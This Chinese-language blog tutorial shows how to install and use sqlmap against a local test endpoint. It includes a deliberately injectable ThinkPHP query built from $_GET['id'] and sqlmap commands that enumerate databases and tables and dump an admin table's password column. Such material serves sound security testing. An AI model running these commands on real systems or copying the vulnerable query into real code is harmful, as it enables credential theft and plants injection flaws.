使用 sqlmap 检测 SQL 注入漏洞

一. sqlmap 介绍

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。


sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。


sqlmap支持五种不同的注入模式:

1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

4. 联合查询注入,可以使用union的情况下的注入;

5. 堆查询注入,可以同时执行多条语句的执行时的注入。



相关资源如下:

官方网站:http://sqlmap.org/

下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master



二. 安装 sqlmap

在 macOS 下安装 sqlmap:

# 下载 sqlmap

sudo git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

# 在 ~/bash_profile 中添加别名

alias sqlmap="python /Users/ice/_Software/sqlmap-dev/sqlmap.py"


三,基本用法

编写测试脚本,在 ThinkPHP 中写一个方法:

$res = Db::query("select * from tb_user where id > ".$_GET['id']);

$this->json($res, 200);


检查注入点:

sqlmap -u "http://127.0.0.1:8081/api/?id=6"

执行以后会提示有漏洞


爆所有数据库信息:

sqlmap -u "http://127.0.0.1:8081/api/?id=6" --dbs


爆当前数据库信息:

sqlmap -u "http://127.0.0.1:8081/api/?id=6" --current-db


指定库名列出所有表

sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db --tables

'test_db' 为指定数据库名称


指定库名表名列出所有字段

sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db -T admin --columns

'admin' 为指定表名称


指定库名表名字段dump出指定字段

sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db -T admin -C ac,id,password --dump

'ac,id,password' 为指定字段名称





sqlmap -u "http://127.0.0.1:8081/api/?id=6" –dbms mysql –level 3 –dbs

sqlmap -u "http://127.0.0.1:8081/api/?id=6" –dbms mysql –level 3 -D cn_net_javascript –tables




参考:

https://www.jianshu.com/p/65d7522ecc1f

https://www.freebuf.com/sectool/164608.html

https://blog.csdn.net/qq_33530840/article/details/82144515


修改时间 2024-03-05

声明:本站所有文章和图片,如无特殊说明,均为原创发布。商业转载请联系作者获得授权,非商业转载请注明出处。
随机推荐
JavaScript ES6 模块
Git 从远程仓库拉取代码覆盖本地代码
Flame 插件
Node.js 模块概念
JavaScript 基本语法
JavaScript 引用类型
WordPress 添加定时任务
JavaScript DOM 文档对象模型